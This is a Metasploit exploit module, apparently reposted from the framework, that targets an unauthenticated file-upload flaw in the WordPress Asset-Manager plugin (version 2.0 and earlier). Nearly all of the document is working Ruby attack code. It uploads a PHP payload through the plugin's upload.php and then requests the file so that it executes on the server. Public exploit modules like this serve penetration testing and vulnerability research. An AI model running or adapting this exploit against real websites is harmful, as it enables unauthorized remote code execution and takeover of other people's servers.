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WordPress Asset-Manager PHP File Upload Vulnerability
来源:http://www.metasploit.com 作者:Fitts 发布时间:2012-12-28  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::PhpEXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
   'Description'    => %q{
    This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
    plugin.  By abusing the upload.php file, a malicious user can upload a file to a
    temp directory without authentication, which results in arbitrary code execution.
   },
   'Author'         =>
    [
     'Sammy FORGIT', # initial discovery
     'James Fitts <fitts.james[at]gmail.com>' # metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'OSVDB', '82653' ],
     [ 'BID', '53809' ],
     [ 'EDB', '18993' ],
     [ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ]
    ],
   'Payload'      =>
    {
     'BadChars' => "\x00",
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        =>
    [
     [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
     [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'May 26 2012'))

  register_options(
   [
    OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
   ], self.class)
 end

 def exploit
  uri =  target_uri.path
  uri << '/' if uri[-1,1] != '/'
  peer = "#{rhost}:#{rport}"
  payload_name = "#{rand_text_alpha(5)}.php"
  php_payload = get_write_exec_payload(:unlink_self=>true)

  data = Rex::MIME::Message.new
  data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
  post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

  print_status("#{peer} - Uploading payload #{payload_name}")
  res = send_request_cgi({
   'method'  => 'POST',
   'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
   'ctype'   => "multipart/form-data; boundary=#{data.bound}",
   'data'    => post_data
  })

  if not res or res.code != 200 or res.body !~ /#{payload_name}/
   fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
  end

  print_status("#{peer} - Executing payload #{payload_name}")
  res = send_request_raw({
   'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
   'method'  => 'GET'
  })

  if res and res.code != 200
   fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
  end
 end
end


 
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